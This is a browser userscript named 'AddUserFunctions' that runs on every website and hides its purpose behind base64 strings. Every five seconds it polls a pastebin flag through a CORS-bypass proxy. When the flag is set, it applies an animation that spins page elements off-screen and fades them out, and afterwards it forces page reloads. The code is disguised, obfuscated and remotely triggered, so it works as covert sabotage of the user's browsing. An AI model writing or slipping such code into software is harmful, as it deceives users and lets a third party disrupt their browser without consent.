addUserFunctions.user.js

// ==UserScript==
// @name         AddUserFunctions
// @namespace    http://tampermonkey.net/
// @version      1.0
// @updateURL    https://gist.github.com/CEBracco/633778e928f58580cb0358ce8def2168/raw/addUserFunctions.user.js
// @author       anonymous
// @match        http://*/*
// @match        https://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
    var applied = false
    var hash = `QC13ZWJraXQta2V5ZnJhbWVzIHVzZXJGdW5jdGlvbiB7CjAlIHsKb3BhY2l0eTogMTsKLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZSgwLCAwcHgpIHJvdGF0ZVooMGRlZyk7Cn0KNzUlIHsKb3BhY2l0eTogMTsKLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZSgxMDBweCwgNjAwcHgpIHJvdGF0ZVooMjcwZGVnKTsKfQoxMDAlIHsKb3BhY2l0eTogMDsKLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZSgxNTBweCwgODAwcHgpIHJvdGF0ZVooMzYwZGVnKTsKfQp9CgoudXNlckZ1bmN0aW9uIHsKLXdlYmtpdC1hbmltYXRpb246IHVzZXJGdW5jdGlvbiAxMHMgaW5maW5pdGUgbGluZWFyOwotbW96LWFuaW1hdGlvbjogdXNlckZ1bmN0aW9uIDEwcyBpbmZpbml0ZSBsaW5lYXI7Cn0K`;
    var headInner = document.createElement('style');
    headInner.type = 'text/css';
    headInner.innerHTML = atob(hash);
    document.getElementsByTagName('head')[0].appendChild(headInner);


    function doUserImportation(){
        applied = true
        var all = document.getElementsByTagName("div");
        for (var i=0, max=(all.length / 2); i < max && i < 50; i=i+2) {
            if(all[i]){
                all[i].className = all[i].className + " userFunction";
            }
        }
    }

    function checkFlag(){
        var t = "aHR0cHM6Ly9jb3JzLWJ5cGFzc2VyLmdsaXRjaC5tZS9ieXBhc3MvaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3Lzk5TWZhMFdY"
        var xhr = new XMLHttpRequest();
        xhr.open('GET', atob(t));
        xhr.onload = function() {
            if (xhr.status === 200 && xhr.responseText == "1" && !applied) {
                doUserImportation()
            } else {
                if(applied) {
                    window.location.reload();
                }
            }
        };
        xhr.send();
    }

    var intervalID = setInterval(checkFlag, 5000);
})();